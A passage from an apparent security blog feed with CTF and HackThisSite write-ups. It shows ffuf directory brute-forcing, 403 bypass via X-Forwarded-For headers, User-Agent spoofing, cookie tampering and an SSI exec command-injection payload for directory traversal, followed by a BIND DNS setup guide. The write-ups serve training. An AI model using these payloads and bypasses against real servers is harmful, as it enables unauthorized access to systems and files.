</span></span><span class="line"><span class="cl">/.htaccess/             <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 32ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htaccess_orig         <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 41ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htgroup               <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 41ms<span class="o">]</span>
</span></span><span class="line"><span class="cl">/.htaccess.sample       <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 31ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htaccess~             <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 43ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htaccess              <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 33ms<span class="o">]</span>
</span></span><span class="line"><span class="cl">/.htaccess.save         <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 36ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htaccessOLD2          <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 31ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htpasswrd             <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 32ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htaccess.bak          <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 38ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htpasswd.inc          <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 31ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htpasswd              <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 26ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htpasswds             <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 31ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htpasswd-old          <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 31ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htaccess.orig         <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 38ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htaccess.old          <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 37ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htaccess_sc           <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 31ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htaccess.inc          <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 31ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htaccess-dev          <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 29ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htaccess.swp          <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 29ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htpasswd.bak          <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 30ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htpasswd/             <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 30ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/.htaccess.txt          <span class="o">[</span>Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 33ms<span class="o">]</span> <span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/admin/phpmyadmin/      <span class="o">[</span>Status: 403, Size: 962, Words: 170, Lines: 49, Duration: 31ms<span class="o">]</span><span class="m">1</span> ::
</span></span><span class="line"><span class="cl">/admin/phpmyadmin2/     <span class="o">[</span>Status: 403, Size: 962, Words: 170, Lines: 49, Duration: 37ms<span class="o">]</span><span class="m">1</span> ::
</span></span><span class="line"><span class="cl">:: Progress: <span class="o">[</span>4193/4193<span class="o">]</span> :: Job <span class="o">[</span>1/1<span class="o">]</span> :: <span class="m">151</span> req/sec :: Duration: <span class="o">[</span>0:00:28<span class="o">]</span> :: Errors: <span class="m">1</span> ::
</span></span></code></pre></div><p>We receive a large number of 403 pages, but one thing stands out: the response size for the <code>/admin</code> directory differs from others.</p>
<p>The challenge name &lsquo;Denied&rsquo; additionally hints that we must bypass this <code>403</code>.
After attempting various path-based mutations and IP-based headers, certain headers such as <code>&quot;X-Forwarded-For&quot;</code> and <code>&quot;Client-IP&quot;</code> successfully bypassed the 403 error and returned the flag in the response.</p>
<p><img alt="denied-flag.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/denied-flag.png#center"></p>
<p>Flag: <code>CyberYami{Y0U_R34lLy_kN0w_h0W_to_T4ckL3!!!}</code></p>
<h3 id="unfound">Unfound</h3>
<p>URL: <code>http://3.7.252.130:8084/</code> <br>
Points: <code>100</code> <br>
Description: <em>Bad API getting error 404, can you make it correct.</em></p>
<p><img alt="unfound-1.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/unfound-1.png#center"></p>
<p>We can see that it is sending a call to the &ldquo;/api/getflag&rdquo; endpoint from the HTML source code.
When we visit the page, we receive the Access Denied message: &ldquo;The content can&rsquo;t be loaded in this browser&rdquo;.</p>
<p><img alt="unfound-2.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/unfound-2.png#center"></p>
<p>This message indicates that the response is browser dependent. But how does the server determine which type of browser is making the request? It uses the <code>User-Agent</code> header.
<code>curl</code> is the most popular tool for making requests, so let&rsquo;s use it to make a request to this endpoint.</p>
<p><img alt="unfound-3.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/unfound-3.png#center"></p>
<p>We receive a different message. That&rsquo;s a good sign.
It is simply verifying if the word &ldquo;curl&rdquo; appears in the User-Agent header. We can verify this by sending a request with and without curl in the User-Agent field.</p>
<p><img alt="unfound-4.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/unfound-4.png#center"></p>
<blockquote>
<p>Note: The <code>&quot;-A&quot;</code> flag in curl is used to specify the <code>User-Agent</code>.</p></blockquote>
<p>This message suggests that we must submit a post request that includes the <code>secret:flag</code> data.</p>
<p><img alt="unfound-flag.png" loading="lazy" src="/writeups/ctf/cyberyami-web-warriors-2024/files/unfound-flag.png#center"></p>
<p>We must specify the <code>&quot;Content-Type: application/json&quot;</code> header to send the JSON data in the POST request. If you remember the HTML source code that gave us the API path, it was using JSON to parse the response. Therefore, it follows that JSON format data must be sent.</p>
<p>Flag: <code>CyberYami{Y0U_F0unD_1T_Th3_S3cr3t_4P1!}</code></p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Basic Challenge Level 11</title>
      <link>https://aftabsama.com/writeups/hackthissite/basic-11/</link>
      <pubDate>Tue, 10 Sep 2024 10:36:30 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/hackthissite/basic-11/</guid>
      <description>Sam decided to make a music site. Unfortunately he does not understand Apache. This mission is a bit harder than the other basics.</description>
      <content:encoded><![CDATA[<p><strong>Description:</strong> <code>Not Available</code></p>
<p><strong>Requirements:</strong> <code>Not Available</code></p>
<p><strong>Hints:</strong></p>
<ul>
<li>What is a directory index?</li>
<li>How does Apache keep users from seeing certain files within a directory?</li>
</ul>
<p><strong>Difficulty:</strong> Easy-ish.</p>
<p><strong>Points:</strong> 55</p>
<p><strong>Challenge Link:</strong> <a href="https://www.hackthissite.org/missions/basic/11">https://www.hackthissite.org/missions/basic/11</a></p>
<p><strong>Forum Link:</strong></p>
<ul>
<li><a href="https://www.hackthissite.org/forums/viewforum.php?f=14&amp;t=10757">https://www.hackthissite.org/forums/viewforum.php?f=14&amp;t=10757</a></li>
</ul>
<p><strong>Solution:</strong></p>
<p>By reloading the page, different Elton John songs are displayed.</p>
<p><img alt="Level 11-elton john songs" loading="lazy" src="/writeups/hackthissite/basic-11/files/level-11-1.png#center"></p>
<p>When we navigate to the <code>e/</code> directory, we notice that directory listing is enabled.</p>
<p><img alt="Level 11-directory listing enabled" loading="lazy" src="/writeups/hackthissite/basic-11/files/level-11-2.png#center"></p>
<p>The <code>.htaccess</code> Apache configuration file is accessible in the last directory, <code>e/l/t/o/n/</code>.</p>
<p><img alt="Level 11-.htaccess file" loading="lazy" src="/writeups/hackthissite/basic-11/files/level-11-3.png#center"></p>
<p>There is a file named <code>DaAnswer</code>.</p>
<p><img alt="Level 11-DaAnswer file" loading="lazy" src="/writeups/hackthissite/basic-11/files/level-11-4.png#center"></p>
<p>This is tricky, but the answer is <strong><code>simple</code></strong>.</p>
<p>We sumbit can <code>simple</code> as a password in <code>index.php</code>.</p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Basic Challenge Level 10</title>
      <link>https://aftabsama.com/writeups/hackthissite/basic-10/</link>
      <pubDate>Mon, 09 Sep 2024 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/hackthissite/basic-10/</guid>
      <description>This time Sam used a more temporary and &amp;#39;hidden&amp;#39; approach to authenticating users, but he didn&amp;#39;t think about whether or not those users knew their way around javascript...</description>
      <content:encoded><![CDATA[<p><strong>Description:</strong></p>
<ul>
<li>Although the challenge&rsquo;s title mentions JavaScript, it&rsquo;s not necessary (unless you&rsquo;re using a browser from the &rsquo;90s)&hellip;</li>
</ul>
<p><strong>Requirements:</strong></p>
<ul>
<li>Basic knowledge of Cookies &amp; knowing how to manipulate them with your browser.</li>
</ul>
<p><strong>Hints:</strong></p>
<ul>
<li>Take a look at the Cookies this challenge&rsquo;s page saves in your browser.</li>
</ul>
<p><strong>Difficulty:</strong> Easy.</p>
<p><strong>Points:</strong> 50</p>
<p><strong>Challenge Link:</strong> <a href="https://www.hackthissite.org/missions/basic/10">https://www.hackthissite.org/missions/basic/10</a></p>
<p><strong>Forum Link:</strong></p>
<ul>
<li><a href="https://www.hackthissite.org/forums/viewforum.php?f=14&amp;t=10756">https://www.hackthissite.org/forums/viewforum.php?f=14&amp;t=10756</a></li>
</ul>
<p><strong>Solution:</strong></p>
<p>The challenge&rsquo;s page is saving two cookies:</p>
<ul>
<li>
<p><code>HackThisSite</code>: used as a password</p>
</li>
<li>
<p><code>level10_authorized</code>: set to <code>no</code>. So we change it to <code>yes</code> and submit the password that we got from the <code>HackThisSite</code> cookie.</p>
</li>
</ul>
<p><img alt="Level 10 solution" loading="lazy" src="/writeups/hackthissite/basic-10/files/level-10-1.png#center"></p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Basic Challenge Level 9</title>
      <link>https://aftabsama.com/writeups/hackthissite/basic-9/</link>
      <pubDate>Mon, 09 Sep 2024 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/hackthissite/basic-9/</guid>
      <description>The password is again hidden in an unknown file. However, the script that was previously used to find it has some limitations. Requirements: Knowledge of SSI, unix directory structure.</description>
      <content:encoded><![CDATA[<p><strong>Description:</strong></p>
<p>Sam is going down with the ship.
He&rsquo;s determined to keep obscuring the password file, no matter how many times people manage to recover it.
This time the file is saved in <code>/var/www/hackthissite.org/html/missions/basic/9/</code>.</p>
<p>In Basic 8, in his attempt to limit SSI to that challenge only, he mistakenly screwed up somewhere.
There is a way to get the obscured Basic 9 password, see if you can figure out how&hellip;</p>
<p><strong>Requirements:</strong></p>
<ul>
<li>SSI knowledge &amp; UNIX directory structure understanding.</li>
</ul>
<p><strong>Hints:</strong></p>
<ul>
<li>Read the description carefully.</li>
<li>Look up &ldquo;directory traversal&rdquo;.</li>
</ul>
<p><strong>Difficulty:</strong> Easy.</p>
<p><strong>Points:</strong> 45</p>
<p><strong>Challenge Link:</strong> <a href="https://www.hackthissite.org/missions/basic/9">https://www.hackthissite.org/missions/basic/9</a></p>
<p><strong>Forum Link:</strong></p>
<ul>
<li><a href="https://www.hackthissite.org/forums/viewforum.php?f=14&amp;t=10755">https://www.hackthissite.org/forums/viewforum.php?f=14&amp;t=10755</a></li>
</ul>
<p><strong>Solution:</strong></p>
<p>Come back to <a href="../basic-8/">level 8</a> and use the same payload to list files from the level 9 directory using <code>../../9</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">&lt;!--#exec cmd=&#34;ls ../../9&#34; --&gt;
</span></span></code></pre></div><p>We get the file named <code>p91e283zc3.php</code>, which contains the password <code>1f6aa876</code>.</p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>How to Setup BIND DNS Server on Windows</title>
      <link>https://aftabsama.com/blog/how-to-setup-bind-dns-server-on-windows/</link>
      <pubDate>Wed, 04 Sep 2024 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/blog/how-to-setup-bind-dns-server-on-windows/</guid>
      <description>Install and set up the BIND DNS server on Windows.</description>
      <content:encoded><![CDATA[<p>In this blog, we will install and configure the BIND DNS server on Windows. My motivation for this was to use a wildcard DNS record for a domain because the <code>etc/hosts</code> file doesn&rsquo;t support wildcards.</p>
<p>Why <abbr title="Berkeley Internet Name Domain">BIND</abbr>? Because BIND is the most commonly used DNS server software on the Internet and it is <strong>open-source</strong> software.</p>
<h2 id="installing-bind">Installing BIND</h2>
<h3 id="download-bind9-for-windows">Download Bind9 for windows</h3>
<p>Download BIND for Windows from here:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">ftp://ftp.isc.org/isc/bind9/9.16.50/BIND9.16.50.x64.zip
</span></span></code></pre></div><h3 id="installing-bind-1">Installing BIND</h3>
<ul>
<li>Run the <code>BINDInstall.exe</code> as an administrator.</li>
<li>Enter the service account name and password.</li>
<li>If all goes well, you will see the message, BIND installation completed successfully.</li>
</ul>
<p><img alt="BIND installation image" loading="lazy" src="/blog/how-to-setup-bind-dns-server-on-windows/images/bind-install.png#center"></p>
<h3 id="add-bind-to-your-path">Add BIND to your PATH</h3>
<p>Add the <code>Bind Installation Path/bin</code> to the Path Environment Variable.</p>
<h3 id="set-the-correct-filesystem-permission">Set the correct filesystem permission</h3>
<ul>
<li>Right-click on the BIND installation folder, go to <code>Properties</code> &gt; <code>Security</code> &gt; <code>Edit</code>.</li>
<li>Click on Add.</li>
<li>Type the name of the service account name (e.g., <code>named</code>) you specified during installation.</li>
<li>Tick the Allow box for both Modify and Write.</li>
<li>Full control is not required (and, for security purposes, should not be granted).</li>
</ul>
<h2 id="configuring-bind">Configuring BIND</h2>
<p>Inside the BIND installation folder, create two directories: <code>zones</code> and <code>logs</code>.</p>
<p>BIND 9 uses a single configuration file called <code>named.conf</code>.</p>
<h3 id="etcnamedconf-file"><em><code>etc/named.conf</code></em> file</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">include &#34;C:\Program Files\ISC BIND 9\etc\named.conf.options&#34;;
</span></span><span class="line"><span class="cl">include &#34;C:\Program Files\ISC BIND 9\etc\named.conf.local&#34;;
</span></span><span class="line"><span class="cl">include &#34;C:\Program Files\ISC BIND 9\etc\named.conf.logging&#34;;
</span></span></code></pre></div><h3 id="etcnamedconflocal-file"><em><code>etc/named.conf.local</code></em> file</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">zone &#34;.&#34; {
</span></span><span class="line"><span class="cl">  type hint;
</span></span><span class="line"><span class="cl">  file &#34;C:\Program Files\ISC BIND 9\zones\named.root&#34;;
</span></span><span class="line"><span class="cl">};
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">zone &#34;htb&#34; {
</span></span><span class="line"><span class="cl">     type master;
</span></span><span class="line"><span class="cl">     file &#34;C:\Program Files\ISC BIND 9\zones\htb.zone&#34;;
</span></span><span class="line"><span class="cl">};
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">zone &#34;oastify.com&#34; {
</span></span><span class="line"><span class="cl">     type master;
</span></span><span class="line"><span class="cl">     file &#34;C:\Program Files\ISC BIND 9\zones\burp.zone&#34;;
</span></span><span class="line"><span class="cl">};
</span></span></code></pre></div><h3 id="etcnamedconflogging-file"><em><code>etc/named.conf.logging</code></em> file</h3>
<details><summary markdown="span">Click to see code:</summary>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="n">logging</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">     <span class="n">channel</span> <span class="n">default_log</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="n">file</span> <span class="s2">&#34;C:\Program Files\ISC BIND 9\logs\default.log&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">time</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">category</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">severity</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">severity</span> <span class="n">info</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">     <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">channel</span> <span class="n">auth_servers_log</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="n">file</span> <span class="s2">&#34;C:\Program Files\ISC BIND 9\logs</span><span class="se">\a</span><span class="s2">uth_servers.log&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">time</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">category</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">severity</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">severity</span> <span class="n">info</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">     <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">channel</span> <span class="n">dnssec_log</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="n">file</span> <span class="s2">&#34;C:\Program Files\ISC BIND 9\logs\dnssec.log&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">time</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">category</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">severity</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">severity</span> <span class="n">info</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">     <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">channel</span> <span class="n">zone_transfers_log</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="n">file</span> <span class="s2">&#34;C:\Program Files\ISC BIND 9\logs\zone_transfers.log&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">time</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">category</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">severity</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">severity</span> <span class="n">info</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">     <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">channel</span> <span class="n">ddns_log</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="n">file</span> <span class="s2">&#34;C:\Program Files\ISC BIND 9\logs\ddns.log&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">time</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">category</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">severity</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">severity</span> <span class="n">info</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">     <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">channel</span> <span class="n">client_security_log</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="n">file</span> <span class="s2">&#34;C:\Program Files\ISC BIND 9\logs\client_security.log&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">time</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">category</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">severity</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">severity</span> <span class="n">info</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">     <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">channel</span> <span class="n">rate_limiting_log</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="n">file</span> <span class="s2">&#34;C:\Program Files\ISC BIND 9\logs</span><span class="se">\r</span><span class="s2">ate_limiting.log&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">time</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">category</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">severity</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">severity</span> <span class="n">info</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">     <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">channel</span> <span class="n">rpz_log</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="n">file</span> <span class="s2">&#34;C:\Program Files\ISC BIND 9\logs</span><span class="se">\r</span><span class="s2">pz.log&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">time</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">category</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">severity</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">severity</span> <span class="n">info</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">     <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">channel</span> <span class="n">dnstap_log</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="n">file</span> <span class="s2">&#34;C:\Program Files\ISC BIND 9\logs\dnstap.log&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">time</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">category</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">severity</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">severity</span> <span class="n">info</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">     <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">channel</span> <span class="n">queries_log</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="n">file</span> <span class="s2">&#34;C:\Program Files\ISC BIND 9\logs\queries.log&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">time</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">category</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">severity</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">severity</span> <span class="n">info</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">     <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">channel</span> <span class="n">query</span><span class="o">-</span><span class="n">errors_log</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="n">file</span> <span class="s2">&#34;C:\Program Files\ISC BIND 9\logs\query-errors.log&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">time</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">category</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">severity</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">severity</span> <span class="n">dynamic</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">     <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">channel</span> <span class="n">default_syslog</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">time</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">category</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">severity</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">syslog</span> <span class="n">daemon</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">severity</span> <span class="n">info</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">     <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">channel</span> <span class="n">default_debug</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">time</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">category</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nb">print</span><span class="o">-</span><span class="n">severity</span> <span class="n">yes</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">file</span> <span class="s2">&#34;named.run&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">severity</span> <span class="n">dynamic</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">     <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">default</span> <span class="p">{</span> <span class="n">default_syslog</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="n">default_log</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">config</span> <span class="p">{</span> <span class="n">default_syslog</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="n">default_log</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">dispatch</span> <span class="p">{</span> <span class="n">default_syslog</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="n">default_log</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">network</span> <span class="p">{</span> <span class="n">default_syslog</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="n">default_log</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">general</span> <span class="p">{</span> <span class="n">default_syslog</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="n">default_log</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">zoneload</span> <span class="p">{</span> <span class="n">default_syslog</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="n">default_log</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">resolver</span> <span class="p">{</span> <span class="n">auth_servers_log</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="p">};</span>
